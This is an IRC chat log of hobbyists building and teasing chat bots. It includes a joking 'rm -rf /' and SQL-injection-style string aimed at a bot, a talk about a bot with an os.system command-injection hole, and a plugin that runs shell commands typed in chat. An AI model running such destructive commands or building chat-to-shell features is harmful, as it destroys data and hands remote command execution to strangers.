[2014-11-28T00:32:08-0500] <@awe> >topkek
[2014-11-28T00:32:12-0500] <@awe> except Pidgey needs to be reloaded.
[2014-11-28T00:32:13-0500] <Hcnsh> plis
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[2014-11-28T00:33:14-0500] <Hcnsh> i don't mind reloading mine
[2014-11-28T00:33:17-0500] <Hcnsh> i get to type "poophead"
[2014-11-28T00:39:58-0500] <@awe> What plugins should I write for awebot other than DDG?
[2014-11-28T00:40:04-0500] <Hcnsh> ddg?
[2014-11-28T00:40:10-0500] <@awe> @ddg Hcnsh
[2014-11-28T00:40:10-0500] <awebot> awe: https://duckduckgo.com/?q=Hcnsh
[2014-11-28T00:40:17-0500] <Hcnsh> =o
[2014-11-28T00:42:36-0500] <@awe> So, yeah, what else should I write?
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[2014-11-28T00:42:45-0500] <failedxyz> hei
[2014-11-28T00:42:45-0500] <badbot> hei, failedxyz
[2014-11-28T00:42:45-0500] <Hcnsh> a @bing?
[2014-11-28T00:42:48-0500] <failedxyz> oh my
[2014-11-28T00:42:58-0500] <@awe> Hcnsh: fuck Bing.
[2014-11-28T00:42:59-0500] <failedxyz> is that what the badbot is for
[2014-11-28T00:43:06-0500] <@awe> failedxyz: Yeah.
[2014-11-28T00:43:13-0500] <failedxyz> lol
[2014-11-28T00:43:34-0500] <@awe> failedxyz: What features does awebot need?
[2014-11-28T00:43:42-0500] <failedxyz> idk
[2014-11-28T00:44:08-0500] <Hcnsh> !poophead
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[2014-11-28T00:44:17-0500] <@awe> LF feature requests for awebot
[2014-11-28T00:44:54-0500] <Hcnsh> my bot is now fully equipped to assist anyone with any technical issue
[2014-11-28T00:45:04-0500] <Hcnsh> gg
[2014-11-28T00:45:25-0500] <failedxyz> what features does badbot have
[2014-11-28T00:45:34-0500] <Hcnsh> ask it for hel-p
[2014-11-28T00:45:42-0500] <Hcnsh> !poophead
[2014-11-28T00:45:45-0500] <Hcnsh> hmm
[2014-11-28T00:45:51-0500] <Hcnsh> other stuff still works
[2014-11-28T00:45:58-0500] <failedxyz> badbot help
[2014-11-28T00:45:58-0500] <badbot> Install Gentoo.
[2014-11-28T00:45:59-0500] <failedxyz> oh
[2014-11-28T00:46:24-0500] <failedxyz> badbot help
[2014-11-28T00:46:24-0500] <badbot> Install Gentoo.
[2014-11-28T00:46:27-0500] <failedxyz> badbot help
[2014-11-28T00:46:27-0500] <badbot> Install Gentoo.
[2014-11-28T00:46:29-0500] <failedxyz> oh
[2014-11-28T00:46:33-0500] <failedxyz> badbot hei
[2014-11-28T00:46:33-0500] <badbot> hei, failedxyz
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[2014-11-28T00:47:30-0500] <Hcnsh> test
[2014-11-28T00:47:36-0500] <@awe> help
[2014-11-28T00:47:36-0500] <badbot> Install Gentoo.
[2014-11-28T00:48:30-0500] <failedxyz> hi
[2014-11-28T00:48:32-0500] <failedxyz> hei
[2014-11-28T00:48:32-0500] <badbot> hei, failedxyz
[2014-11-28T00:48:33-0500] <failedxyz> hi
[2014-11-28T00:48:34-0500] <failedxyz> hei
[2014-11-28T00:48:35-0500] <badbot> hei, failedxyz
[2014-11-28T00:49:27-0500] <@awe> .active
[2014-11-28T00:49:27-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T00:49:27-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T00:49:27-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T00:49:27-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T00:49:27-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 0, N 0).
[2014-11-28T00:49:43-0500] <failedxyz> why is this not in order
[2014-11-28T00:50:00-0500] <@awe> It's in some sort of order.
[2014-11-28T00:50:06-0500] <failedxyz> in order of most recent?
[2014-11-28T00:50:10-0500] <@awe> No.
[2014-11-28T00:50:13-0500] <@awe> .vote 3 nay
[2014-11-28T00:50:13-0500] <&Pidgey> Vote issued.
[2014-11-28T00:50:20-0500] <@awe> I think it's because swap_remove
[2014-11-28T00:50:31-0500] <@awe> (It's O(1) instead of O(n))
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[2014-11-28T00:51:24-0500] <failedxyz> .active
[2014-11-28T00:51:24-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T00:51:24-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T00:51:24-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T00:51:24-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T00:51:24-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 0, N 1).
[2014-11-28T00:51:35-0500] <failedxyz> .vote 3 yea
[2014-11-28T00:51:35-0500] <&Pidgey> You must be identified to do that.
[2014-11-28T00:51:43-0500] <failedxyz> .vote 3 yea
[2014-11-28T00:51:43-0500] <&Pidgey> Vote issued.
[2014-11-28T00:51:46-0500] <failedxyz> yey
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[2014-11-28T01:01:41-0500] <failedxyz> wat
[2014-11-28T01:01:45-0500] <failedxyz> badderbot
[2014-11-28T01:01:46-0500] <failedxyz> hei
[2014-11-28T01:01:53-0500] <@awe> badderbot: hi
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[2014-11-28T01:14:22-0500] <+ubuntor> badderbot: ping
[2014-11-28T01:14:31-0500] <Hcnsh> yes
[2014-11-28T01:14:45-0500] <+ubuntor> hm, nvm
[2014-11-28T01:14:54-0500] <Hcnsh> is it continually sending that?
[2014-11-28T01:15:13-0500] <Hcnsh> should delete contents of file once it sends it :|
[2014-11-28T01:15:38-0500] <+ubuntor> ?
[2014-11-28T01:15:44-0500] <Hcnsh> nvm :|
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[2014-11-28T01:18:27-0500] <@awe> Hcnsh: continually sending what?
[2014-11-28T01:19:14-0500] <Hcnsh> i was trying to figure out irc command stuff by making a bot that read from a file, sent content of file, deleted content of file, then waited for more
[2014-11-28T01:19:42-0500] <Hcnsh> if it failed to delete, it'd spam :P
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[2014-11-28T01:20:39-0500] <badderbot> PING
[2014-11-28T01:20:56-0500] <Hcnsh> hmm
[2014-11-28T01:21:06-0500] <Hcnsh> is it possible to send something directly to other people?
[2014-11-28T01:21:11-0500] <Hcnsh> like, spam ping requets?
[2014-11-28T01:21:26-0500] <Hcnsh> requests*
[2014-11-28T01:21:47-0500] <@awe> Hmm.
[2014-11-28T01:21:50-0500] <@awe> No.
[2014-11-28T01:21:52-0500] <@awe> Not like that.
[2014-11-28T01:22:27-0500] <@awe> There's a direct client-to-client protocol called DCC.
[2014-11-28T01:23:04-0500] <Hcnsh> it's 1:22, i'll go sleep
[2014-11-28T01:23:17-0500] <Hcnsh> also, awe
[2014-11-28T01:23:21-0500] <Hcnsh> there's a way
[2014-11-28T01:23:34-0500] <Hcnsh> to execute commands using os.system
[2014-11-28T01:23:36-0500] <Hcnsh> on badbot
[2014-11-28T01:23:39-0500] <@awe> Why?
[2014-11-28T01:23:40-0500] <@awe> That's so bad.
[2014-11-28T01:23:43-0500] <Hcnsh> has to be specially formatted
[2014-11-28T01:23:44-0500] <Hcnsh> figure it out
[2014-11-28T01:23:46-0500] <Hcnsh> for fun
[2014-11-28T01:23:49-0500] <@awe> %
[2014-11-28T01:23:49-0500] <Hcnsh> ;)
[2014-11-28T01:23:55-0500] <@awe> % rm -rf /
[2014-11-28T01:23:56-0500] <@awe> :D
[2014-11-28T01:24:01-0500] <Hcnsh> lolno
[2014-11-28T01:24:03-0500] <@awe> $ rm -rf /
[2014-11-28T01:24:06-0500] <@awe> > rm -rf /
[2014-11-28T01:24:09-0500] <@awe> # rm -rf /
[2014-11-28T01:24:11-0500] <Hcnsh> not like that
[2014-11-28T01:24:13-0500] <Hcnsh> think exploit
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[2014-11-28T01:24:28-0500] <@awe> ') DROP TABLES `bot`
[2014-11-28T01:24:35-0500] <Hcnsh> why would i have sql
[2014-11-28T01:24:36-0500] <Hcnsh> on this shit
[2014-11-28T01:24:41-0500] <@awe> It was a joke.
[2014-11-28T01:24:43-0500] <Hcnsh> lol
[2014-11-28T01:25:01-0500] <+ubuntor> hmm, what are the possible commands of badbot?
[2014-11-28T01:25:04-0500] <@awe> help
[2014-11-28T01:25:04-0500] <badbot> Install Gentoo.
[2014-11-28T01:25:06-0500] <@awe> help mb
[2014-11-28T01:25:06-0500] <badbot> Install Gentoo.
[2014-11-28T01:25:23-0500] <Hcnsh> ubuntor: hei
[2014-11-28T01:25:23-0500] <badbot> hei, Hcnsh
[2014-11-28T01:25:28-0500] <Hcnsh> hei badbot
[2014-11-28T01:25:28-0500] <badbot> hei, Hcnsh
[2014-11-28T01:25:29-0500] <Hcnsh> hei badbot
[2014-11-28T01:25:29-0500] <badbot> fuck you, Hcnsh, i hope you die a gruesome death in a hole you asshole
[2014-11-28T01:25:33-0500] <Hcnsh> plis badbot
[2014-11-28T01:26:24-0500] <Hcnsh> awe, gave up already? :C
[2014-11-28T01:26:27-0500] <@awe> Yes.
[2014-11-28T01:26:38-0500] <+ubuntor> help hei
[2014-11-28T01:26:39-0500] <badbot> hei, ubuntor
[2014-11-28T01:26:39-0500] <badbot> Install Gentoo.
[2014-11-28T01:27:04-0500] <@awe> help hei ')-- DROP TABLES `bot` && rm -rf /
[2014-11-28T01:27:05-0500] <badbot> fuck you, awe, i hope you die a gruesome death in a hole you asshole
[2014-11-28T01:27:05-0500] <badbot> Install Gentoo.
[2014-11-28T01:27:19-0500] <+ubuntor> are those the only two commands?
[2014-11-28T01:27:19-0500] <@awe> I can always k-line badbot.
[2014-11-28T01:27:36-0500] <Hcnsh> plis
[2014-11-28T01:29:26-0500] <Hcnsh> !poophead
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[2014-11-28T01:30:31-0500] <+ubuntor> share code pls
[2014-11-28T01:30:37-0500] <Hcnsh> my bot?
[2014-11-28T01:30:47-0500] <Hcnsh> plis no, has os.system() in it
[2014-11-28T01:30:54-0500] <Hcnsh> don't want to make it *too* easy to exploit
[2014-11-28T01:31:05-0500] <+ubuntor> have you tested the vuln?
[2014-11-28T01:31:19-0500] <Hcnsh> no
[2014-11-28T01:31:29-0500] <Hcnsh> if i test it in some other channel or through pm
[2014-11-28T01:31:32-0500] <Hcnsh> awe can probably see it
[2014-11-28T01:31:41-0500] <@awe> Hcnsh: wat
[2014-11-28T01:31:44-0500] <@awe> Hcnsh: I cannot.
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[2014-11-28T01:32:11-0500] <Hcnsh> test
[2014-11-28T01:32:17-0500] <Hcnsh> !poophead
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[2014-11-28T01:32:25-0500] <+ubuntor> message logging is frowned upon anyway
[2014-11-28T01:32:36-0500] <@awe> I can't see anything that happens anywhere that I'm not.
[2014-11-28T01:33:17-0500] <Hcnsh> i'll test it once/if i get something else to work
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[2014-11-28T01:34:23-0500] <Hcnsh> !poophead
[2014-11-28T01:34:26-0500] <Hcnsh> plis badbot
[2014-11-28T01:34:27-0500] <Hcnsh> wtf
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[2014-11-28T01:35:45-0500] <Hcnsh> !poophead
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[2014-11-28T01:35:48-0500] <Hcnsh> k
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[2014-11-28T01:41:20-0500] <Hcnsh> ok it works
[2014-11-28T01:41:30-0500] <Hcnsh> there was a slight mistake
[2014-11-28T01:41:31-0500] <Hcnsh> fixed it
[2014-11-28T01:41:57-0500] <Hcnsh> imma go sleep
[2014-11-28T01:42:05-0500] <Hcnsh> computer might fall asleep too
[2014-11-28T01:42:10-0500] <Hcnsh> but i'll try to leave it on
[2014-11-28T01:43:05-0500] <Hcnsh> is there a way to
[2014-11-28T01:43:12-0500] <Hcnsh> make computer keep working
[2014-11-28T01:43:12-0500] <+ubuntor> to confirm, are !poophead, hei, and help are the only commands?
[2014-11-28T01:43:12-0500] <badbot> hei, ubuntor
[2014-11-28T01:43:12-0500] <badbot> Install Gentoo.
[2014-11-28T01:43:23-0500] <Hcnsh> when i put lid down?
[2014-11-28T01:43:34-0500] <Hcnsh> ubuntor, i made it so !poophead has to be the first word
[2014-11-28T01:43:43-0500] <Hcnsh> because i don't want to accidentally close it
[2014-11-28T01:43:52-0500] <Hcnsh> and uh
[2014-11-28T01:43:56-0500] <Hcnsh> besides the os.system one, yeah
[2014-11-28T01:44:08-0500] <Hcnsh> what else do you want from a bot?
[2014-11-28T01:44:21-0500] <+ubuntor> so there's another command (or something that works like a command)?
[2014-11-28T01:44:27-0500] <Hcnsh> sort of
[2014-11-28T01:44:27-0500] <Hcnsh> yes
[2014-11-28T01:44:29-0500] <+ubuntor> ooh
[2014-11-28T01:44:30-0500] <+ubuntor> ok
[2014-11-28T01:44:41-0500] <+ubuntor> does it work in a pm?
[2014-11-28T01:45:06-0500] <badbot> Install Gentoo.
[2014-11-28T01:45:08-0500] <nezorg> holy fucking logs, batman
[2014-11-28T01:45:27-0500] <+ubuntor> hmm, sortof
[2014-11-28T01:46:00-0500] <Hcnsh> uh
[2014-11-28T01:46:07-0500] <Hcnsh> yes
[2014-11-28T01:46:11-0500] <Hcnsh> but all output is to #pdgn
[2014-11-28T01:46:40-0500] <Hcnsh> if i put the lid down, this'll probably disconnect
[2014-11-28T01:46:46-0500] <Hcnsh> but if i don't, i can't sleep with this light
[2014-11-28T01:46:47-0500] <Hcnsh> wat2do
[2014-11-28T01:47:13-0500] <+ubuntor> what distro?
[2014-11-28T01:47:17-0500] <Hcnsh> ubuntu
[2014-11-28T01:47:20-0500] <Hcnsh> plis dun h8
[2014-11-28T01:47:21-0500] <Hcnsh> need for steam
[2014-11-28T01:47:34-0500] <+ubuntor> you can run steam on other distros :P
[2014-11-28T01:47:36-0500] <@awe> % help
[2014-11-28T01:47:36-0500] <awebot> Failed to execute command. Error: no such file or directory
[2014-11-28T01:47:36-0500] <badbot> Install Gentoo.
[2014-11-28T01:47:39-0500] <@awe> % ls
[2014-11-28T01:47:39-0500] <awebot> Cargo.lock
[2014-11-28T01:47:39-0500] <+ubuntor> steam on gentoo
[2014-11-28T01:47:41-0500] <@awe> % cd ..
[2014-11-28T01:47:43-0500] <@awe> % ls
[2014-11-28T01:47:43-0500] <awebot> Cargo.lock
[2014-11-28T01:47:46-0500] <+ubuntor> ...wait wut
[2014-11-28T01:47:49-0500] <+ubuntor> oh
[2014-11-28T01:47:51-0500] <@awe> % ls ~
[2014-11-28T01:47:53-0500] <Hcnsh> % cd /; ls
[2014-11-28T01:48:01-0500] <@awe> % cd ~; ls
[2014-11-28T01:48:02-0500] <Hcnsh> only executes yours?
[2014-11-28T01:48:07-0500] <@awe> % cd /; ls
[2014-11-28T01:48:11-0500] <+ubuntor> are we exploiting awebot now?
[2014-11-28T01:48:13-0500] <Hcnsh> % ls
[2014-11-28T01:48:18-0500] <@awe> % ls
[2014-11-28T01:48:18-0500] <awebot> Cargo.lock
[2014-11-28T01:48:22-0500] <@awe> % ls /
[2014-11-28T01:48:22-0500] <awebot> Applications
[2014-11-28T01:48:26-0500] <Hcnsh> % ls
[2014-11-28T01:48:27-0500] <@awe> % ls /home
[2014-11-28T01:48:30-0500] <@awe> % ls /Users
[2014-11-28T01:48:35-0500] <@awe> % ls /User
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[2014-11-28T01:48:46-0500] <@awe> Lol,
[2014-11-28T01:48:53-0500] <@awe> I don't know why I killed him, but I see what it's doing.
[2014-11-28T01:49:22-0500] <Hcnsh> % ls
[2014-11-28T01:49:25-0500] <Hcnsh> plis awebot
[2014-11-28T01:49:26-0500] <Hcnsh> im ur master
[2014-11-28T01:49:27-0500] <Hcnsh> do it
[2014-11-28T01:49:27-0500] <+ubuntor> Hcnsh: http://askubuntu.com/questions/15520/how-can-i-tell-ubuntu-to-do-nothing-when-i-close-my-laptop-lid
[2014-11-28T01:50:12-0500] <nezorg> awwww
[2014-11-28T01:50:12-0500] <nezorg> those logs were boring
[2014-11-28T01:50:41-0500] <Hcnsh> k
[2014-11-28T01:55:10-0500] <@awe> % ls
[2014-11-28T01:55:10-0500] <awebot> Cargo.lock
[2014-11-28T01:55:24-0500] <@awe> Hmm.
[2014-11-28T01:55:46-0500] <@awe> % ls
[2014-11-28T01:55:46-0500] <awebot> Cargo.lock
[2014-11-28T01:56:08-0500] <@awe> % ls
[2014-11-28T01:56:08-0500] <awebot> Cargolock
[2014-11-28T01:56:23-0500] <@awe> ???
[2014-11-28T01:57:14-0500] <@awe> % ls
[2014-11-28T01:57:14-0500] <awebot> CargolockCargotomlREADMEmdpluginssrctarget
[2014-11-28T01:57:17-0500] <@awe> Okay.
[2014-11-28T02:00:06-0500] <@awe> % ls
[2014-11-28T02:00:06-0500] <awebot> Cargo.lock Cargo.toml README.md plugins src target 
[2014-11-28T02:00:14-0500] <@awe> % ls ~
[2014-11-28T02:00:20-0500] <@awe> % ls /Users
[2014-11-28T02:00:20-0500] <awebot> Aaron Guest Shared 
[2014-11-28T02:00:23-0500] <@awe> % ls /Users/Aaron
[2014-11-28T02:00:23-0500] <awebot> Applications Desktop Documents Downloads Dropbox Library Movies Music Pictures Public Sites 
[2014-11-28T02:01:03-0500] <@awe> % cargo build
[2014-11-28T02:01:10-0500] <@awe> % cargo help
[2014-11-28T02:01:11-0500] <badbot> Install Gentoo.
[2014-11-28T02:01:14-0500] <@awe> % cargo
[2014-11-28T02:01:57-0500] <@awe> % cargo
[2014-11-28T02:01:57-0500] <awebot> No output.
[2014-11-28T02:02:02-0500] <@awe> Hm, okay.
[2014-11-28T02:02:28-0500] <@awe> % cat Cargo.toml
[2014-11-28T02:02:29-0500] <awebot> [package]  name = "awebot" version = "0.0.1" authors = ["Aaron Weiss <aaronweiss74@gmail.com>"]  [dependencies.irc]  irc = "~0.1.0" features = ["ssl"]  
[2014-11-28T02:02:50-0500] <@awe> % cargo clean
[2014-11-28T02:02:50-0500] <awebot> No output.
[2014-11-28T02:02:54-0500] <@awe> % cargo build
[2014-11-28T02:03:00-0500] <awebot>    Compiling pkg-config v0.0.1    Compiling openssl-sys v0.0.2    Compiling openssl v0.0.2    Compiling irc v0.1.0 (file:///Users/Aaron/Documents/Programming/Rust/irc)    Compiling awebot v0.0.1 (file:///Users/Aaron/Documents/Programming/Rust/awebot) 
[2014-11-28T02:03:02-0500] <@awe> :D
[2014-11-28T02:03:43-0500] <@awe> % cargo --help
[2014-11-28T02:03:43-0500] <badbot> Install Gentoo.
[2014-11-28T02:03:43-0500] <awebot> No output.
[2014-11-28T02:03:44-0500] <@awe> cargo help
[2014-11-28T02:03:44-0500] <badbot> Install Gentoo.
[2014-11-28T02:03:48-0500] <+ubuntor> hmm
[2014-11-28T02:03:51-0500] <+ubuntor> % ls
[2014-11-28T02:03:54-0500] ubuntor is now known as awe_
[2014-11-28T02:03:57-0500] <@awe> lol
[2014-11-28T02:03:58-0500] <+awe_> % ls
[2014-11-28T02:04:00-0500] <+awe_> darn
[2014-11-28T02:04:03-0500] awe_ is now known as ubuntor
[2014-11-28T02:04:08-0500] <@awe> % touch butts
[2014-11-28T02:04:08-0500] <awebot> No output.
[2014-11-28T02:04:10-0500] <@awe> % ls
[2014-11-28T02:04:10-0500] <awebot> Cargo.lock Cargo.toml README.md butts plugins src target 
[2014-11-28T02:04:12-0500] <@awe> % rm butts
[2014-11-28T02:04:12-0500] <awebot> No output.
[2014-11-28T02:04:13-0500] <@awe> % ls
[2014-11-28T02:04:13-0500] <awebot> Cargo.lock Cargo.toml README.md plugins src target 
[2014-11-28T02:04:15-0500] <@awe> :d
[2014-11-28T02:04:34-0500] <@awe> % ls
[2014-11-28T02:04:34-0500] <awebot> Cargo.lock Cargo.toml README.md plugins src target 
[2014-11-28T02:04:56-0500] <@awe> % vim topkek
[2014-11-28T02:05:01-0500] <@awe> % lol
[2014-11-28T02:05:03-0500] <@awe> % ls
[2014-11-28T02:05:08-0500] <@awe> I broke it.
[2014-11-28T02:05:10-0500] <@awe> % ls
[2014-11-28T02:05:16-0500] <@awe> He's frozen
[2014-11-28T02:05:21-0500] <@awe> beep boop
[2014-11-28T02:05:27-0500] <@awe> ubuntor: :D
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[2014-11-28T02:06:11-0500] <@awe> % this is such a bad idea
[2014-11-28T02:06:11-0500] <awebot> Failed to execute command. Error: no such file or directory
[2014-11-28T02:06:49-0500] <@awe> % this is such a bad idea
[2014-11-28T02:06:49-0500] <awebot> Failed to execute command; no such file or directory.
[2014-11-28T02:06:56-0500] <@awe> % what
[2014-11-28T02:07:04-0500] <@awe> % what is this
[2014-11-28T02:07:18-0500] <+ubuntor> wounder if you can vim with commands
[2014-11-28T02:07:26-0500] <@awe> You can't.
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[2014-11-28T02:07:36-0500] <@awe> Well, you could.
[2014-11-28T02:07:38-0500] <@awe> It'd be more complicate.d
[2014-11-28T02:07:42-0500] <@awe> I do have access to stdin though.
[2014-11-28T02:07:45-0500] <@awe> I could make it write to stdin.
[2014-11-28T02:07:52-0500] <@awe> That'd be WAY more complicated though.
[2014-11-28T02:07:57-0500] <+ubuntor> ok
[2014-11-28T02:08:05-0500] <@awe> I'd have to spawn an additional thread for the command
[2014-11-28T02:08:08-0500] <@awe> and have it wait on input
[2014-11-28T02:08:10-0500] <@awe> and so on
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[2014-11-28T02:18:26-0500] <@awe> cargo run
[2014-11-28T02:18:27-0500] <@awe> erm
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[2014-11-28T02:18:33-0500] <@awe> Wrong window.
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[2014-11-28T02:20:25-0500] <@awe> Okay, awebot no longer has the terrible plugin loaded.
[2014-11-28T02:20:27-0500] <@awe> % lol
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[2014-11-28T02:26:19-0500] <@LittleBobbyTables> 6 messages ;o
[2014-11-28T02:26:21-0500] <@LittleBobbyTables> What'd I miss
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[2014-11-28T02:31:05-0500] <badbot> hei, ubuntor
[2014-11-28T02:31:05-0500] <badbot> Install Gentoo.
[2014-11-28T02:31:05-0500] <badbot> plis gtfo, ubuntor
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[2014-11-28T02:59:05-0500] Topic is Pidgey is on GitHub: http://git.io/caK7Kg
[2014-11-28T02:59:05-0500] Set by Pidgey on November 27, 2014 at 3:57:17 PM EST
[2014-11-28T02:35:17-0500] <badbot> hei, ubuntor
[2014-11-28T02:59:05-0500] Mode is +nt
[2014-11-28T03:00:14-0500] <@awe> LittleBobbyTables: I think you were mostly pinged by .actives
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[2014-11-28T04:30:47-0500] Set by Pidgey on November 27, 2014 at 3:57:17 PM EST
[2014-11-28T04:30:47-0500] Mode is +nt
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[2014-11-28T08:38:29-0500] <Hcnsh> ..
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[2014-11-28T08:40:51-0500] <Hcnsh> awebot?
[2014-11-28T08:40:53-0500] <Hcnsh> where r u
[2014-11-28T08:55:11-0500] <Hcnsh> found a decent python bot
[2014-11-28T08:55:16-0500] <Hcnsh> imma try configuring that
[2014-11-28T09:10:56-0500] <Hcnsh> lol
[2014-11-28T09:11:18-0500] <Hcnsh> getting an error because cert's not legit-legit
[2014-11-28T09:11:22-0500] <Hcnsh> it's only legit
[2014-11-28T09:11:42-0500] <Hcnsh> why bother if it's from a not-well-known company? :|
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[2014-11-28T09:29:21-0500] <Hcnsh> hi goodbot
[2014-11-28T09:29:21-0500] <goodbot> Fuck off, Hcnsh
[2014-11-28T09:29:26-0500] <Hcnsh> plis goodbot
[2014-11-28T09:29:31-0500] <Hcnsh> hi goodbot
[2014-11-28T09:29:31-0500] <goodbot> Fuck off, Hcnsh
[2014-11-28T09:31:05-0500] <alokpathy> Hi goodbot 
[2014-11-28T09:31:05-0500] <goodbot> Hi alokpathy
[2014-11-28T09:31:09-0500] <alokpathy> lel
[2014-11-28T09:31:20-0500] <alokpathy> How are you goodbot ?
[2014-11-28T09:31:25-0500] <alokpathy> Wow okay
[2014-11-28T09:31:27-0500] <alokpathy> harsh
[2014-11-28T09:31:30-0500] <alokpathy> Hi goodbot 
[2014-11-28T09:31:30-0500] <goodbot> Hello alokpathy!
[2014-11-28T09:31:31-0500] <Hcnsh> it's not sentient yet
[2014-11-28T09:31:36-0500] <alokpathy> dern
[2014-11-28T09:31:42-0500] <Hcnsh> hi goodbot
[2014-11-28T09:31:42-0500] <goodbot> Fuck off, Hcnsh!
[2014-11-28T09:31:44-0500] <Hcnsh> :C
[2014-11-28T09:31:46-0500] <alokpathy> How're you going to make it sentient?
[2014-11-28T09:31:48-0500] <Hcnsh> uh
[2014-11-28T09:31:52-0500] <Hcnsh> well
[2014-11-28T09:31:55-0500] <Hcnsh> let's see
[2014-11-28T09:32:10-0500] <Hcnsh> don't know, i'll just wait until we get better at neurology
[2014-11-28T09:32:45-0500] <alokpathy> I think awe mentioned some plugin?
[2014-11-28T09:32:56-0500] <Hcnsh> he gave it his brain
[2014-11-28T09:33:11-0500] <alokpathy> I see
[2014-11-28T09:33:20-0500] <Hcnsh> it fit inside a usb port, so yeah..
[2014-11-28T09:33:35-0500] <alokpathy> lolwut
[2014-11-28T09:40:56-0500] <Hcnsh> <3 willie
[2014-11-28T09:41:05-0500] <Hcnsh> goodbot*
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[2014-11-28T09:41:18-0500] <Hcnsh> <3
[2014-11-28T09:41:19-0500] <Hcnsh> plis goodbot
[2014-11-28T09:41:20-0500] <Hcnsh> reply
[2014-11-28T09:41:26-0500] <alokpathy> hi goodbot 
[2014-11-28T09:41:26-0500] <goodbot> Hi alokpathy!
[2014-11-28T09:41:28-0500] <Hcnsh> .<3
[2014-11-28T09:41:30-0500] <alokpathy> bye goodbot 
[2014-11-28T09:41:34-0500] <Hcnsh> hoe
[2014-11-28T09:41:36-0500] <alokpathy> you suck goodbot 
[2014-11-28T09:41:41-0500] <alokpathy> Hi goodbot 
[2014-11-28T09:41:41-0500] <goodbot> Hey alokpathy
[2014-11-28T09:41:44-0500] <alokpathy> hi goodbot 
[2014-11-28T09:41:45-0500] <goodbot> Hi alokpathy!
[2014-11-28T09:41:50-0500] <Hcnsh> hi goodbot
[2014-11-28T09:41:51-0500] <goodbot> Go away Hcnsh!
[2014-11-28T09:41:58-0500] <alokpathy> At least he's not vulgar. 
[2014-11-28T09:42:02-0500] <Hcnsh> he still is
[2014-11-28T09:42:03-0500] <Hcnsh> c:
[2014-11-28T09:42:07-0500] <Hcnsh> hi goodbot
[2014-11-28T09:42:08-0500] <goodbot> Go away Hcnsh!
[2014-11-28T09:42:08-0500] <alokpathy> :|
[2014-11-28T09:42:10-0500] <Hcnsh> hi goodbot
[2014-11-28T09:42:10-0500] <goodbot> Go away Hcnsh!
[2014-11-28T09:42:10-0500] <Hcnsh> hi
[2014-11-28T09:42:12-0500] <Hcnsh> goodbot
[2014-11-28T09:42:14-0500] <Hcnsh> hi goodbot
[2014-11-28T09:42:14-0500] <goodbot> Screw you, Hcnsh!
[2014-11-28T09:42:17-0500] <Hcnsh> uh
[2014-11-28T09:42:21-0500] <Hcnsh> should still be vulgar
[2014-11-28T09:42:27-0500] <Hcnsh> didn't change anything
[2014-11-28T09:42:35-0500] <alokpathy> Maybe if you do it more he'll be pissed off and use vulgar language.
[2014-11-28T09:42:47-0500] <Hcnsh> hi goodbot
[2014-11-28T09:42:47-0500] <goodbot> Fuck off, Hcnsh!
[2014-11-28T09:42:50-0500] <Hcnsh> there
[2014-11-28T09:42:54-0500] <alokpathy> There we go.
[2014-11-28T09:43:06-0500] <alokpathy> .active
[2014-11-28T09:43:06-0500] <&Pidgey> Proposal (1) to oper Tamini (Y: 3, N 1).
[2014-11-28T09:43:06-0500] <&Pidgey> Proposal (2) to oper Hcnsh (Y: 2, N 3).
[2014-11-28T09:43:06-0500] <&Pidgey> Proposal (0) to deop LittleBobbyTables (Y: 5, N 2).
[2014-11-28T09:43:06-0500] <&Pidgey> Proposal (4) to deop awe (Y: 1, N 1).
[2014-11-28T09:43:06-0500] <&Pidgey> Proposal (3) to oper failedxyz (Y: 1, N 1).
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[2014-11-28T09:45:38-0500] <Hcnsh> .listen
[2014-11-28T09:45:40-0500] <Hcnsh> listen
[2014-11-28T09:45:50-0500] <alokpathy> listen goodbot 
[2014-11-28T09:45:51-0500] <Hcnsh> lis-fucking-ten
[2014-11-28T09:45:57-0500] <alokpathy> wat
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[2014-11-28T09:50:18-0500] <Hcnsh> .helloworld
[2014-11-28T09:50:18-0500] <goodbot> Hello, world!
[2014-11-28T09:50:20-0500] <Hcnsh> hmm
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[2014-11-28T09:51:26-0500] <Hcnsh> .<3
[2014-11-28T09:51:26-0500] <goodbot> <3 Hcnsh
[2014-11-28T09:51:28-0500] <Hcnsh> woot
[2014-11-28T09:51:35-0500] <alokpathy> .<3
[2014-11-28T09:51:35-0500] <goodbot> <3 alokpathy
[2014-11-28T09:51:38-0500] <alokpathy> .hi
[2014-11-28T09:51:41-0500] <alokpathy> .helloworld
[2014-11-28T09:51:41-0500] <goodbot> Hello, world!
[2014-11-28T09:51:43-0500] <Hcnsh> hei
[2014-11-28T09:51:43-0500] <badbot> hei, Hcnsh
[2014-11-28T09:51:46-0500] <alokpathy> hei
[2014-11-28T09:51:46-0500] <badbot> hei, alokpathy
[2014-11-28T09:51:50-0500] <alokpathy> bai
[2014-11-28T09:51:58-0500] <alokpathy> hello badbot 
[2014-11-28T09:52:18-0500] <alokpathy> goodbot: use thunderbolt on badbot
[2014-11-28T09:52:25-0500] <Hcnsh> .listen
[2014-11-28T09:52:25-0500] <goodbot> I am listening.
[2014-11-28T09:52:30-0500] <alokpathy> .listen
[2014-11-28T09:52:30-0500] <goodbot> I am listening.
[2014-11-28T09:52:36-0500] <alokpathy> Good to know.
[2014-11-28T09:53:06-0500] <Hcnsh> awe
[2014-11-28T09:53:10-0500] <Hcnsh> look at this sexy new bot
[2014-11-28T09:53:20-0500] <alokpathy> awe: How do you make a bot sentient?
[2014-11-28T09:53:57-0500] <Hcnsh> alok, is that a joke question or are you curious how he talks through the bot?
[2014-11-28T09:54:45-0500] <alokpathy> I'm curious to see how he talks through a bot.
[2014-11-28T09:54:48-0500] <Hcnsh> well
[2014-11-28T09:54:57-0500] <alokpathy> He also insists that he has no control over it
[2014-11-28T09:55:02-0500] <Hcnsh> he's lying..
[2014-11-28T09:55:03-0500] <alokpathy> and he hasn't lied in a game of resistance.
